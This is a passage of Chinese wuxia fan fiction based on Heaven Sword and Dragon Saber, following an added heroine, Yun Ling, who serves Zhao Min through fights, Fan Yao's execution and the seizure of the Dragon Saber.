张无忌却没有两位少女那般细腻的心思,对赵敏的眼神只是隐约有所感觉,并未完全领会其中的含义。他只觉得赵敏曾赠他珠花金盒,又治好了俞岱岩和殷梨亭的残疾,如今金盒被毁,他心中不免有些愧疚。于是,他走向殿角,俯身拾起两半截金盒,说道:"我会让人重新镶好它。"赵敏问:"真的吗?"张无忌点头,心中却想,我们身为一教之主,怎会在乎这些金银之物?这金盒虽精致,却非珍贵之物,盒中的黑玉断续膏已取出,盒子本身并无太大价值。破了不必挂怀,再镶好它,不过是小事一桩。眼前有更重要的事待决,赵敏却只跟我谈这只盒子,或许是年轻姑娘对这些琐事特别关心,真是女流之见。他将两半截盒子揣入怀中。
赵敏道:"那你去吧!"张无忌心中明白,宋大师伯等人尚未救出,怎能就此离去?但敌方高手如云,己方只有三人,救人谈何容易。他问赵敏:"赵姑娘,你擒拿我大师伯等人,究竟意欲何为?"赵敏笑道:"我是一番好意,想劝他们为朝廷效力,共享荣华富贵。他们不听,我也只能慢慢劝说。"
张无忌冷哼一声,转身回到周芷若身边。在敌方众高手环伺之下,他俯身拾盒,坦然而回,仿佛无人之境。他冷冷地扫视众人,说道:"既是如此,我们便告辞了!"说着,他牵起周芷若的手,转身便欲离去……
11. 赵敏世界
赵敏见此,森然道:"你自己要去,我也不留。但你想把周姑娘也带走,竟不来问我一声,你当我是什么人了?"张无忌道:"这确是在下欠了礼数。赵姑娘,请你放了周姑娘,让她随我同去。"赵敏不答,向玄冥二老使个眼色。
鹤笔翁踏上一步,冷声道:"张教主,你说来便来,说去便去,要救人便救人,教我们这伙人的老脸往哪里搁?你不留下一手绝技,兄弟们难以心服。"
张无忌认出了鹤笔翁的声音,怒气上冲,喝道:"当我年幼之时,被你擒住,性命几乎不保。今日你还有脸来跟我说话?接招!"呼的一掌,便向鹤笔翁拍了过去。
鹿杖客适才吃过他的苦头,知道单凭鹤笔翁一人之力,不是他的敌手,抢上前来,向他击出一掌。张无忌右掌仍是击向鹤笔翁,左掌从右掌下穿过,还了鹿杖客一掌。这是真力对真力相碰,中间实无闪避取巧的余地。三个人四掌相交,身子各是一晃。
当日在武当山上,玄冥二老以双掌和张无忌对掌,另出双掌击在他身上,此刻重施故技,又是两掌拍了过来。张无忌那日吃了此亏,焉能重蹈覆辙?手肘微沉,施展乾坤大挪移,啪的一声大响,鹤笔翁的左拳击在鹿杖客的右掌之上。他两人武功一师所传,掌法相同,功力相若,登时都震得双臂酸麻,至于何以竟会弄得师兄弟自相残杀,二人武功虽高,却也不明其中奥秘。
两人又惊又怒之际,张无忌双掌又已击到。玄冥二老仍是各出双掌,一守一攻,所使掌法已和适才全然不同,但被张无忌一引一带,仍是鹿杖客的左掌击到了鹤笔翁的右掌之上。这乾坤大挪移手法之巧,计算之准,实已到了匪夷所思的地步。
玄冥二老骇然失色,眼见张无忌第三次举掌击来,不约而同的各出单掌抵御。三人真力相变,玄冥二老只觉对方掌力中一股纯阳之气汹涌而至,难当难耐。张无忌掌发如风,想起幼时被鹤笔翁打了一招玄冥神掌,数年之间不知吃了多少苦头,因此击向鹿杖客的掌力尚留余地,对鹤笔翁却毫不放松。
二十余掌一过,鹤笔翁的一张青脸已胀得通红。眼见对方又是一掌击到,他左掌虚引,意欲化解,右掌却斜刺里重重击出。只听得拍拍两响,鹤笔翁这一掌狠狠打在鹿杖客肩头,而张无忌那一掌却终究无法化开,正中胸口。总算张无忌不欲伤他性命,这一掌真力只用了三成,鹤笔翁哇的一声,吐出一口鲜血,脸色已红得发紫,身子摇晃。倘若张无忌乘势再补上一掌,非教他毙命当场不可。鹿杖客肩头中掌,也痛得脸色大变,嘴唇都咬出血来。
玄冥二老乃赵敏手下顶尖能人,岂知不出三十招,便各受伤。赵敏手下众武士尽皆失色,便是杨逍和韦一笑也大为诧异。他二人曾亲眼见到,那日玄冥二老在武当山出手,张无忌中掌受伤。不意数日之间,竟能进展神速若是。但他二人随即想到,张无忌留居武当数日,一面替俞岱岩、殷梨亭治伤,一面便向张三丰请教武学中的精微深奥,终致九阳神功、乾坤大挪移、再加上武当绝学的太极拳剑,三者渐渐融成一体。二人心中暗赞张三丰学究天人,那才真是称得上“深不可测”四字。
玄冥二老比掌败阵,齐声呼啸,同时取出了兵刃。只见鹿杖客手中拿着一根短杖,杖头分叉,作鹿角之形,通体黝黑,不知是何物铸成;鹤笔翁手持双笔,笔端锐如鹤嘴,却是晶光闪亮。他二人追随赵敏已非一日,但即是赵敏,也从未见过他二人使用兵刃。这三件兵刃使展开来,只见一团黑气,两道白光,霎时间便将张无忌困在垓心。张无忌身边不带兵器,赤手空拳,情势颇见不利,但他丝毫不惧,存心要试试自己武功,在这两大高手围攻之下,是否能空手抵敌。
玄冥二老自恃内力深厚,玄冥神掌是天下绝学,是以一上阵便和他对掌。岂知张无忌的九阳神功却非任何内功所能及,数十掌一过便即落败。他二人的兵刃却以招数诡异取胜,两人的名号便是从所用兵刃而得,鹿角短杖和鹤嘴双笔,每一招都是凌厉狠辣,世所罕见。张无忌聚精会神,在三件兵刃之间空来插去,攻守自如。只是一时瞧不明白二人兵刃招数的路子,取胜却也不易。幸好鹤笔翁重伤之余,出招已难免窒滞。
赵敏轻击掌三下,大殿中白刃耀眼,三人攻向杨逍,四人攻向韦一笑,另有两人出兵刃制住了周芷若。杨逍立时抢到一剑,挥剑如电,反手便刺伤一人。韦一笑仗着绝顶轻功,以玄阴绵掌拍倒了两人。但敌人人数实在太多,每打倒一人,立时更有二人拥上。
张无忌给玄冥二老缠住了,始终分身不出相援。他和杨韦二人要全身而退,倒也不难,要救周芷若却万万不能,正自焦急,忽听赵敏说道:“大家住手!”这四个字声音并不响亮,她手下众人却一齐凛遵,立即跃开。
杨逍将长剑抛在地下,韦一笑握着从敌人手里夺来的一口单刀,顺手一挥,掷还给了原主,哈哈大笑。张无忌见一名汉子手执匕首,抵住周芷若后心,不禁脸有忧色。
周芷若黯然道:“张公子,三位请即自便,三位一番心意,小女子感激不尽。”
赵敏笑道:“张公子,这般花容月貌的人儿,我见犹怜。她定是你的意中人了?”张无忌脸上一红,说道:“周姑娘和我从小相识。在下幼时中了这位……”说着向鹤笔翁一指,“……的玄冥神掌,阴毒入体,周身难以动弹,多亏周姑娘服侍我食饭喝水,此番恩德,不敢有忘。”赵敏道:“如此说来,你们倒是青梅竹马之交了。你想娶她为魔教的教主夫人,是不是?”张无忌脸上又是一红,说道:“匈奴未灭,何以家为!”
赵敏脸一沉,道:“你定要跟我作对到底,非灭了我不可,是也不是?”
张无忌摇了摇头,说道:“我至今不知姑娘的来历,虽然有过数次争执,但每次均是姑娘找上我张无忌,不是张某来找姑娘寻事生非。只要姑娘放了我众位师伯叔及各派武林人士,在下感激不尽,不敢对姑娘心存敌意。
赵敏听到张无忌的话,转头向周芷若瞧了一眼,对张无忌道:“这位周姑娘既非你意中人,也不是什么师兄师妹、未婚夫妻,那么我要毁了她的容貌,跟你丝毫没有干系……”她眼角一动,鹿杖客和鹤笔翁各挺兵刃,拦在周芷若之前,另一名汉子手执利刃,对准周芷若的脸颊。张无忌若要冲过来救人,玄冥二老这一关便不易闯过。赵敏冷冷的道:“张公子,你还是跟我说实话的好。”
韦一笑忽然伸出手掌,掌心中吐了数口唾沫,又伸手在鞋底擦了几下,哈哈大笑。众人正不解他所为何事,突然间青影一晃,云灵却看得真切。她轻功奇幻,比之韦一笑更快,身法如同鬼魅,移形换影般来至赵敏身前,一掌将韦一笑打飞。
"咳咳!"韦一笑猛咳几口鲜血,显然已受了极重的内伤。
张无忌与杨逍骇然,赶忙上前。张无忌顾不得身处敌巢,运转九阳神功,给韦一笑疗伤。
杨逍怒喝:"你这姑娘也是汗人,做了元庭鹰犬便罢,怎还下手如此狠绝?"
云灵冷冷回道:"他做了什么,你自问他。"
众人顺着云灵目光看去,只见韦一笑手掌沾有污秽,混着唾沫,不由大惊。若是云灵不出手,韦一笑显然是要以此抹向赵敏郡主的面颊。
赵敏大怒:"好你个张无忌,三番两次坏我谋划,如今手下反想羞辱于我,云灵,杀了他!"
云灵听言,身法如鬼魅般向前,一掌拍向张无忌。张无忌知这姑娘武功盖世,不敢大意,运起九阳神功与之对了一掌。
"噔噔噔!"张无忌连退三步,方才卸下内劲,而云灵,亦是退了两步。这一番对掌,可谓棋逢对手。
张无忌知晓有这姑娘在,他再想救周芷若已无可能,便抱着韦一笑便走,杨逍紧随其后。
众人见他们要逃,连忙呼喝着要追,赵敏一声令下,放了他们离去。
赵敏内心已暗暗后悔。若非她之前下令对云灵施以酷刑,折磨了三天三夜,又用倚天剑刺伤了她,今日那张无忌怎能轻易逃离?
赵敏手下众多,但她放走张无忌却是有她的打算。她需要张无忌带路,寻找屠龙刀的下落,因此张无忌的逃脱对她来说,尽在她的谋划中。
赵敏命人将周芷若送回牢房,却不想,刚转身便听见呕吐之声。她转身一看,只见云灵咳出数口鲜血。
赵敏上前,扶住摇摇欲坠的云灵,关切地问道:"你伤得如何?"
云灵虚弱不堪,她之前勉强与张无忌对掌,被震出了内伤。面对赵敏的关切,她微微摇头:"不碍事,只是受了点内伤。"
"这还不碍事?"赵敏立刻吩咐左右,"来人,将云姑娘送回去,好生照料。"
虚弱的云灵,在被抬走之前,向赵敏请求:"郡主娘娘可否给我一些时间,只有你我,有些事,我想与你说说。"
赵敏沉吟片刻,最终放弃了继续找周芷若的麻烦,对暮云道:"行!你先安歇片刻,我稍后便
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至。"
半日后,赵敏返回汝阳王府,直接来到云灵的客房。她屏退左右,问道:"你有何事要与本郡主说?"
"郡主娘娘,我观你习练各门派绝技,是否是想以博取胜?"云灵问道。
"正是!"赵敏坦率回答,没有什么好隐瞒的。
"郡主娘娘,武功在精不在博。你虽聪慧无双,却也该知贪多嚼不烂之理。"云灵劝诫道。
赵敏哼了一声,道:“本郡主何曾不知?我的师傅都不愿教我内功,我只得偷学各门派绝技,想将外功练至极境罢了!”
云灵缓缓说道:“郡主娘娘若是想学,我倒是有一门武功,适合你。”
赵敏眼中闪过光芒,急切地问:“你肯教我内功?”她心里清楚,江湖中人将内功看得比性命还重要。她之前杀了那么多人,根本就没有人愿意交出内功。
云灵道:“郡主娘娘都没问过我,如何知晓我不肯教?但是,想学这门武功,我有一个条件,郡主娘娘只能专心修习这门武功,不能修习别派绝技。”
“知道啦知道啦!你什么时候教本郡主?”赵敏急不可耐地追问。
云灵看了一眼自己此刻的状态,道:“我先养好伤势,才能将这门武功教给郡主娘娘。”
天罗地网式没有什么秘籍,不过是窜高跃低,抓扑拿捏这些窍门罢了。但需要鸟雀辅助习练,否则自己修习,一辈子也学不成。
赵敏催促虚弱不堪的云灵,道:“那你倒是快点养伤,好教本郡主武功。”
云灵无语回应:“郡主娘娘,你看我现在的身体状况,连起身都困难,再等几日吧。”
赵敏得到了云灵的承诺,她不再急于求成,而是好奇地问道:“你修习的是什么武功?与张无忌的九阳神功和倚天剑中的九阴真经相比,哪个更胜一筹?”
云灵回答道:“郡主娘娘,内功的强弱不仅在于心法,还在于个人的资质与悟性。不能简单地比较哪个更强。您看我的武功比张无忌的差吗?”
云灵习练这门天罗地网式,越是领悟加深,愈是感受到它的威力。别的武功都有招式,天罗地网式并不拘于形式,也就说明,它根本没有上限。
以自然界的鸟雀辅助修炼,贴近自然的武功,也就只有张三丰的太极可比肩。
云灵对于祖师婆婆的膜拜敬仰之情溢于言表,也就只有像祖师婆婆这样惊才艳艳的女子,才能创制出这样的武学。
赵敏知晓健康的云灵武功远高于张无忌,如今云灵竟要教她这样的武功,她欣喜地回答:“你的武功自然比张无忌的好!”
“郡主娘娘,这门武功叫作天罗地网式,我不知这门武功有多强,因为我也看不到它的上限。想来以郡主娘娘的聪慧,领悟到这门武功的精髓,不在话下。”云灵诚实回答。
“好,那就等你养好伤,教本郡主这武功!”
云灵点头,问道:“若郡主娘娘得了倚天屠龙的秘籍,又将如何处置?”
得了武穆遗书若将它交给圣上,难免遭受猜忌;若不交,又难免被疑为有谋反之心。赵敏聪慧过人,岂会不明此理?她淡然一笑,道:“昔日郭靖镇守襄阳,虽有兵法相助,终究未能抵挡我蒙古铁骑,今时我蒙古依旧兵强马壮,即便无此兵法,亦能征战四方。”
赵敏的说法,便是不想让兵法现世了。
云灵拍马屁道:“郡主娘娘聪慧无双,若能独领一军,定不输于武安君。以娘娘之计谋,逆贼早晚必败。”
赵敏眼中闪过一丝锋芒,她最恨不能亲自上战场,施展才华。道:“若非身为女子,我早已驰骋沙场,何需与这些江湖人周旋?”
云灵试探道:“郡主娘娘,可曾想过,作那武皇?”
赵敏心中一震,面色骤变,急忙捂住云灵之口,匆匆走出门外,命手下远离。她回身,低声呵斥:“你疯了吗?此等大逆不道之言,你也敢说!”
“大元乃黄金家族之天下,此言我便当未闻,日后不得再提,否则我必亲手杀了你!”
云灵见赵敏神色,不敢再言。一时间,两人陷入沉默。
“你好好养伤。”片刻后,赵敏留下这句话,转身离去。
目视赵敏的身影渐渐消失在门外,云灵的心中却波涛汹涌,她能感觉到,赵敏的内心,并非完全排斥这个想法。
曾有奇女子,自立为武皇,以赵敏之才智,难道不能成为第二个武皇吗?
12. 赵敏世界
离开了的赵敏唤来阿二和阿三,密语了一番之后,阿二和阿三便匆匆离开。阿二和阿三是赵敏最信任的手下,这件事只有交给他们,赵敏才放心。
至于另外一件事,赵敏心中早有定计。万安寺中的那些各门派掌门弟子,她本无意留难。若一一诛杀,汝阳王府在朝堂上声势固然更盛,却难免引来盖主之嫌。若留他们一命,让他们与朝廷作对,既能让朝廷更加依赖汝阳王府,又能在战乱中令百姓流离失所,对那些逆贼心生怨恨。
赵敏决定撤回万安寺的大部分手下,只留下玄冥二老与少数心腹看守,以示汝阳王府对此事的掌控。
两日后,深夜时分,汝阳王府突然发生火灾。赵敏却显得不急不躁,她命令手下前往万安寺放火,她知道张无忌有能力救出那些掌门弟子,却也不会让他们轻易逃脱。这一切,不过是她精心布置的一场戏。
赵敏的计谋,每一步都经过深思熟虑。她要的不仅仅是眼前的胜利,更是长远的布局,她要将这些棋子,玩弄于股掌之间。
万安寺这边,张无忌施展乾坤大挪移,一一救下各大门派掌门与弟子,其动作如行云流水,令人叹为观止。
赵敏仅携云灵一人,刚至万安寺,便听得苦大师一声长笑,纵身跃下。
张无忌一掌轻推,将他送开,赞道:“范右使,大功告成,真乃神勇!”范遥站定,回道:“若非教主神功盖世,我等早已成高塔上之烤猪。范遥行事不当,何功之有?”
“苦大师,原来你会说话呀!”一道清脆的声音响起,范遥转身,只见赵敏笑意盈盈,眼中却隐含深意。
苦大师与赵敏有授业之恩,如今已恢复明教右使身份,见赵敏前来,微微皱眉。
“郡主,我本为……”范遥还待说几句,与赵敏好聚好散,却被赵敏打断:“你之身份,我已知了。我诚心诚意奉你为师,你却背叛于我,如今该当何罪?”
群雄见状,纷纷怒喝,扬言要杀赵敏。一旁的张无忌,内心亦是无措。
云灵听闻群雄污言,身形一晃,众人只见幻影。啪啪啪,连贯的响声过后,暮云已归赵敏身旁,只见那些口出污言之人脸上都多了一道巴掌印,脸庞迅速肿起。
群雄剑指云灵,辱骂她身为汗人却助鞑靼,但云灵丝毫不在意,冷笑道:“我非汗人,何来助鞑之说?”
云灵,乃多灾多难的苗瑶后裔,与汗人世仇深重。她对那些自视甚高、自命不凡的汗人始终漠然,无论今生前世,汗人总以为天下唯我独尊,却忘了这片土地上还有着其他民族的存在。
群雄对云灵冷嘲热讽,心中虽怒,却也无计可施。她武功盖世,加之群雄方才服下解药,尚未恢复,只得剑指她,口出恶言,却无实质威胁。
万安寺宝塔之上,灭绝师太怀抱周芷若,一跃而下。临近地面,她运劲上托,将周芷若轻轻托起,自己却加速下坠。这一招,既保周芷若无恙,又显露了她的死志。
张无忌见状,急步上前,欲以乾坤大挪移神功相救。然而,灭绝师太心志已决,不愿受明教恩惠,见张无忌掌至,拼尽余力,反手一掌。双掌相击,声如雷鸣,张无忌被震得气血翻涌,连退数步,心中惊疑不定,灭绝师太此举,无异于自寻死路。
就在此时,一道身影如闪电般掠至,稳稳接住了下坠的灭绝师太与周芷若。这一手,令在场群雄无不震惊,从十数丈高的宝塔跳下,那下坠之力,岂是人力所能及?即便是张无忌,也需借助乾坤大挪移的巧劲,而这位盈盈十五少女,却能以双手接住二人,这卸力之法,实乃惊世骇俗。
周芷若一落地,便扑向师父,泣不成声:“师父,师父!”峨嵋派众弟子围聚在灭绝师太身旁。灭绝师太不愿受明教之救,如今却遭鞑子走狗所救,自觉颜面尽失,一掌便向自己的天灵盖击去。
一只洁白如玉的手忽地伸出,稳稳地握住了她的手臂。这突如其来的一握,竟让灭绝师太的自尽之举无法继续:"灭绝师太,您乃武林前辈,岂能因范遥几句挑拨便乱了方寸?"
灭绝师太冷哼一声,"那范遥毁我声誉,如今又被你这鞑子走狗所救,我有何面目去见郭襄师祖!"
"好,既然你一心求死,我绝不阻拦。但你是否想过,你强加于弟子的誓言,她能否承受?若你真觉得无颜面对郭襄女侠,何不亲自夺回屠龙刀与倚天剑?" 云灵贴近灭绝师太耳边,每一个字都似重锤击打在对方心上。
"你……你怎会知道……" 灭绝师太震惊万分,倚天剑与屠龙刀的秘密乃峨嵋派至高无上的机密,她之前让周芷若立誓,此事也绝无第三人知晓。
灭绝师太心中百感交集,面色数变。她深吸一口气,转头对弟子们说:"我们走!" 她不再理会在场的群雄,也不再有死志,带着弟子们决然离去。
赵敏见云灵归来,眼中闪过一抹戏谑之色,笑道:“云姑娘,你不是常说自己不喜插手江湖纷争么?怎的今日却救了那灭绝师太,难道真有魔镜之好?”
云灵闻言,回应道:“郡主娘娘,我救灭绝师太,全因敬佩她武林中的威名与为人。若郡主娘娘觉得不妥,我自会将她们追回。”
赵敏轻笑出声,摆了摆手,道:“罢了,罢了,那灭绝师太既是你口中的武林前辈,又是你那位小情人的师傅,我便卖你个情面,此事就此作罢。”
云灵听言,内心大呼冤枉!
见峨眉派安然离去后,其余门派亦心生归意,又见赵敏无意阻拦,便纷纷离去。
范遥与赵敏师徒一场,正欲告别,却见赵敏含笑望来,他心中一凛,转身欲走,却见玄冥二老已从赵敏身后闪出,向他扑来。
明教高手及未散去的少林、武当高手见状,纷纷加入战团,意在助范遥脱困。
张无忌以内力助六派高手下塔,已然力竭,与灭绝师太对掌后更是元气大伤,此刻步履蹒跚。莫声谷见状,急忙将他负于背上。
玄冥二老面对众多高手,虽武艺超群,亦感压力山大,但见云灵守在赵敏身旁,始终未出手,他们亦不敢退却,只得硬着头皮苦战。
突闻远处呼喝声起,群雄色变,心知元军将至,若再战下去,恐遭围歼。无奈之下,只得舍弃范遥,四散奔逃。
张无忌内力稍复,见云灵静立不动,知范遥已难救,只得随众黯然离去。
范遥武功虽高,但在两位当世超一流高手的联手之下,终究难以抵挡。在没有群雄相助的情况下,不久便被制住拿下。
赵敏趁着六王爷的兵马未至,带着云灵与玄冥二老,押着范遥转身往汝阳王府而去。
******
汝阳王府内。
赵敏坐于高位,目光冷冷地扫过下方的范遥,道:“明教范右使,隐藏王府多年,手段高超得很呐。”
范遥昂首,毫无惧色,道:“赵敏,我汗人与鞑子势不两立。你们欺我汗人,杀我汗人,辱我汗人,占我山河。今日被你抓住,要杀要剐悉听尊便。来日我汗人必将拿回江山,灭尽你等鞑子。”
赵敏茶杯猛地一砸,正中范遥脑袋,含怒道:“我蒙古能征服你们一次,便能征服你们两次。有我敏敏特穆尔在一天,我大元便主宰中原一日。”
“你们口口声声说我蒙元欺你等辱你等,岂知我蒙元以宽仁治天下,何来四等人之分?你等口口声声污蔑,岂知我蒙元打下多少国土?女子亦不用裹脚,基层之官亦是你等汗人。我蒙元轻徭役轻税律,你等造反便造反,何来什么大义?”
“若你等真有大义,不思上达天听,为民请命,反倒叛乱无休,至多少百姓流离失所?就凭你等,也配在本郡主眼前谈什么大义?”赵敏言辞利害,气势逼人。
云灵站在一旁,语气冰冷至极,她道:“范右使,你言天下皆为汗人之地,可曾想过比你们更古老的苗瑶人?”
“你言蒙元人占了你山河,岂不问问苗瑶人的山河被谁占了?你们自认为汗人高贵,这土地皆是你等汗人的,那么,我们苗瑶人之地,又身在何方?”云灵的质问,如利剑般。
范遥一时语塞,"这…你们苗瑶人之地,自然在岭南!" 他的声音中带着一丝不确定。
"是吗?那么蚩尤与黄帝大战时,我们之地在何处?"
范遥被问得哑口无言,蚩尤乃苗瑶人先祖,当年岂不是黄帝将蚩尤部落赶走,占了他们的山河?长年累月下来,汗人早已认为这片土地是他们的,这个天下也独属于汗人的,汗人之外,皆为胡蛮,哪
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里还记得那多灾多难的苗瑶人。
范遥默然无语,他能说成王败寇吗?不能。成王败寇,那么此刻的元人便是王,他们理应主宰这天下,他们则确实是寇逆。若不是成王败寇,可苗瑶人亦是这片土地上最古老的族群之一,汗人凭什么自认为高高在上?
赵敏见状,出声道:“范遥,你我师徒一场,本郡主给你个体面的死法。” 说罢,自有侍女捧着托盘前来,托盘之上,有一个小瓷瓶。
范遥自知已无路可走,拿过瓷瓶,打开后一饮而尽。他面容上带着对云灵的愧疚,似乎有千言万语,却始终没有说出口。不一会儿,他便口吐鲜血,浑身抽搐,气绝身亡。
赵敏见范遥已死,对着手下沉声吩咐:“将苦师傅好生埋葬!”随即带着云灵,转身离去。
回到赵敏闺房,云灵拿出一颗如同李子大小,金黄的果子,递呈赵敏,道:“郡主娘娘,食了这果子,可洗精伐髓!”
赵敏大喜,道:“你哪来的神果?你想要什么?我知道了,你想要峨眉派那小美人。待我神功大成,便将她捉来,许给你。”
云灵无语至极,内心给了个眼神,叫赵敏体会。
赵敏接过果子,闻着清香,问道:“快说,你哪来的神奇之物?”
云灵回答道:“之前我在山林中生活了五年,无意中得到的。”
赵敏知道她在撒谎,但如今也不想逼迫她。有什么果子能保存数年,还新鲜得像刚采摘?
她拿着果子,正欲吃进嘴里,却见云灵阻止她。云灵先去外面唤侍女准备好热水,至少数缸,这才反身回来,解释道:“郡主娘娘,食了这果子会排除杂质污浊,还是等热水备好再食用吧!”
赵敏一听,脑海里不自觉地想象自己脏兮兮、恶臭的模样,她打了个寒颤。询问了食用之后的感觉之后,她将云灵赶了出去。自己的丑样,怎能让暮云看见?
待热水备好,赵敏屏退了所有侍女,独自留在房中。她这才小心翼翼地将那颗异果送入口中。果子清香扑鼻,味道清甜,入口即化,一股暖流在她体内缓缓流淌,带来前所未有的舒适感。
不久,赵敏感到周身毛孔中排出了肉眼可见的杂质和毒素。她本以为自己每日沐浴,身体已是洁净无瑕,却没想到体内竟藏有如此多的污秽。她心中不禁对云灵的话信服几分。
随着杂质毒素的排出,赵敏感到视野更加清明,思维更加敏捷,身体也变得更加轻盈活泛。
她用了整整六缸水,才将身体彻底洗净。洗净后的赵敏,面对着如何处理这些沐浴水的问题感到苦恼。前三缸水已经变得黑乎乎,散发着难闻的气味;第四缸浑浊,第五缸稍显清澈;而第六缸则才彻底清澈。她不愿让侍女们看到这一幕,担心自己的形象受损。
正当她苦思冥想之际,赵敏灵机一动,呼唤门外的云灵。
云灵应声而入,一进门便被一股难闻的气味所包围。她迅速关上门,装作若无其事地走向赵敏,却在见到赵敏的容颜时,震惊得呆立当场。
赵敏,本就被誉为蒙古第一美人,如今更是美得不可方物。她的美貌,仿佛连天仙都自愧不如,让人不禁怀疑,这是否是凡人所能拥有的容颜?
赵敏见云灵怔怔发呆,她以为是因为自己身后那几缸浑浊的沐浴水。她脸上不由得露出一丝尴尬羞意,但转念一想,她是郡主,何须在意这些?她昂首挺胸,道:“云灵,待会儿你便在此沐浴,半个时辰后,我再唤人来。”
云灵从呆愣中回过神来,心中了然。赵敏是郡主,她的形象至关重要,而云灵是她用来挡箭的棋子。
赵敏是蒙古的郡主,她的尊贵身份不容有失。云灵虽然心中不愿,但面对赵敏的命令,她还是答应了。
赵敏见云灵答应,便满意地交待一声,带着愉悦的心情离开了。而云灵脱下衣物,在尚清澈的第六缸水中沐浴净身。
半个时辰后,侍女们鱼贯而入。在她们不可置信的目光中,云灵内心虽然尴尬,但面容依旧保持着平静,从容地离开了。
侍女们心中疑惑,这些沐浴水为何会如此浑浊,还散发着难闻的异味。但她们不敢多言,只能默默地清理,再给赵敏的闺居洒扫一番,洒下香味,这才离开。
13. 赵敏世界
第二日,赵敏便在云灵的指导下,修习起了古墓派的武功——天罗地网式。
云灵在外捉来许多鸟雀,收拾出一个客厅,专门供赵敏练功之用。她讲述了天罗地网式的诀窍,又演示了一番之后,便立于一旁,静静观看赵敏的练习,并时不时地纠正她的动作。
赵敏本就资质非凡,世间罕见,再加上洗髓伐筋后,更是如虎添翼。她领悟了诀窍,短短半日,便能将一只鸟雀玩弄于股掌之间,令其无法逃脱。
一月过后,赵敏的天罗地网式已有所成。
这日,一位蒙古将军匆匆而来,身后跟着两位小将与百数精锐将士。一位小将携带一匣子,长半丈,宽十数寸。另一位小将押着一位瓜子脸、美貌绝伦、异域风情的女子。
赵敏早已得到通报,在大厅主位上端坐,而云灵,立于她身旁。
蒙古将军与两位小将进入大厅,恭敬地行了个礼。将军道:“郡主,属下已将宝刀取到,郡主果然料事如神。”
当日,这蒙古将军接到赵敏的秘令,便带着六千精锐与十艘战船出海。历经艰难排查,终于在张无忌未到之前,寻到冰火岛,将谢逊斩杀,夺走了屠龙刀,并顺手斩杀了岛上的丐帮陈友谅等人。
他们又埋伏在冰火岛周围,待张无忌、小昭、金花婆婆黛丽丝和蛛儿到来时正准备出击。谁知张无忌见到谢逊身绝,恰巧又遇到波斯人上岛,张无忌误以为是波斯人所为,愤恨之下与波斯人激战,遍体鳞伤。
蒙古战船趁机将波斯人的战船一一击沉,精锐上岛,将波斯人斩杀。按照赵敏的吩咐,他们暗中放过了张无忌,将黛丽丝、小昭、蛛儿一一抓获。
云灵本以为赵敏对屠龙刀已无兴趣,然而此刻,见到被押着的小昭,她才恍然大悟。赵敏的野心,从未因任何障碍而止步,她的计划,从策划到执行,云灵竟一无所知。云灵这才意识到,赵敏的可怕,远超小说原著的描述。
“原来是你?你这蒙古鞑子,将我母亲与无忌公子怎么了?”小昭被押在下方,眼神中满是愤恨,仿佛要将赵敏生吞活剥。
“掌嘴!”
将军得令,狠狠地扇了小昭数巴掌,不过片刻,她的脸颊便红肿起来。没有郡主的命令,将军不敢停手,直至小昭面如猪头,气息奄奄,赵敏这才轻轻挥手,示意将军停止。
“我为鞑子,你又算什么?据我所知,你乃波斯血统,在汗人眼中,你不过是胡蛮;在蒙古人眼中,你们是被征服者。你以何身份,敢如此对我妄言?”赵敏冷冷道,转身又对将军道:“将她拖下去,打到她臣服为止。”
云灵见此,不禁打了个寒颤。如果是她,对女子绝下不了如此重手,更何况是如此貌美之人?但赵敏的手段,不分男女,不论美丑。
赵敏似乎察觉到了云灵的恐惧,她转头,眼含戏谑:“怎么?云师傅害怕了?别怕,只要你不背叛我,我自然不会罚你。”
“将军,把屠龙刀呈上来,让我与师傅一同鉴赏这宝物,究竟有何魔力,让世人如此渴望。”
“武林至尊,宝刀屠龙,号令天下,莫敢不从。既然敢号称得屠龙刀便能号令天下,就让本郡主看看,这究竟是如何号令天下!”
将军得命,命人将小昭拖下去,随后亲自将匣子呈上。在赵敏的示意下,他缓缓打开匣盖,露出匣中一柄浑身漆黑,身长三尺的宝刀。
赵敏心中暗自撇嘴,这号令天下的宝刀,外表竟如此平平无奇。她伸手从匣中取出宝刀,只觉沉重异常,感知有百斤之重。轻轻一挥,宝刀如切豆腐般,不费吹灰之力便将木匣斩为两段。
赵敏心中暗喜,轻声道:“果然是宝刀!”
试完宝刀,赵敏转头对将军说道:“此事,不得外传,若有泄露,小心你的项上人头。”
将军与两位小将闻言,面如土色,战战兢兢地连忙发誓,绝不将此事泄露给第四人知晓。
赵敏见状,微微一笑,道:“保守秘密的最好方法,便是将知情者全都除去。但你们都是为大元出生入死的勇士,本郡主自然不会如此对待。自此以后,你等便归属本郡主麾下。”
将军听言,喜出望外,与两位小将立誓,效忠赵敏,永不背叛。
赵敏待他们立誓过后,又道:“你们回去之后,将那黛丽丝与那叫蛛儿的姑娘,速速送来汝阳王府。”
三位将军恭敬行礼,退出了大厅,返身离开了汝阳王府。
待将军和小将们离开,大厅内仅剩赵敏与暮云。赵敏取出倚天剑,剑光如水,与屠龙刀的沉暗形成鲜明对比。她朗声道:“宝刀屠龙,倚天不出,谁与争锋!”话音未落,她一手执剑,一手执刀,似有试剑之意。
云灵见状,急忙上前阻止:“郡主娘娘,能否听我一言?”
赵敏眉梢微挑,好奇问道:“有何请求?只要不是太过分,本郡主自无不允。”
云灵若提出离开,便是过份请求;若要皇帝性命,赵敏会答应,却需从长计议。
云灵请求道:“郡主娘娘,我欲求九阴真经,更想请工匠绘制倚天剑与屠龙刀,待您探得刀剑之秘后,再行重铸。”
赵敏闻言,微微沉吟,道:“九阴真经,你若想要,便赠予你。至于重铸倚天剑,也依你之言。但屠龙刀,此事休提。”
屠龙刀,屠龙屠龙,意在屠戮何人?若是屠戮皇帝,赵敏怎能答应。她心中暗想,若自己大业得成,屠龙刀岂不是寓意屠她?因此,屠龙刀万不可再现世。
至于九阴真经,对赵敏而言,并不看重。她如今武功已远胜往昔,只需勤加修炼,自能达到武学巅峰。
云灵之所以要九阴真经,乃因她欲将此武学秘籍归还峨眉。峨眉派的郭襄女侠,名满江湖;灭绝师太,正直之名远播,皆为云灵心中所敬。九阴真经,当归还峨眉。
至于重铸倚天剑与屠龙刀,云灵亦是出于同一番考虑。然而,赵敏却拒绝了屠龙刀的重铸,云灵虽心中有憾,却不敢多言。有了倚天剑与九阴真经,峨眉派声望定能再振。
赵敏答应了云灵的请求之后,便命手下寻找天下最优秀的工匠,绘制倚天剑的图样。待一切准备就绪,方将九阴真经与武穆兵法取出,并将残破的刀剑交给工匠们。
